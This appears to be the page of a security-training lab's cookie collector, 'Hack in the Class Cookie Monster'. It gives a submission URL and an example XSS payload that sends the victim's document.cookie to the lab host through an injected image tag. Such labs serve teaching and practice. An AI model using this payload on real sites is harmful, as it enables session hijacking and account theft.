Hack in the Class Cookie Monster

To feed the cookie monster, use this url:

https://cookie-monster.lab.hackintheclass.org/eat.php?monster=9mt68ltfpn2jp1ud4mqcenla85&cookie=THECOOKIEYOUWANTTOGIVE

Example XSS:

<script type="text/javascript">
var img = document.createElement("img");
img.src="https://cookie-monster.lab.hackintheclass.org" +
        "/eat.php?monster=9mt68ltfpn2jp1ud4mqcenla85" +
        "&cookie=" + encodeURIComponent(document.cookie);
document.body.appendChild(img);
</script>

Your cookie monster has eaten these cookies:

No cookies yet.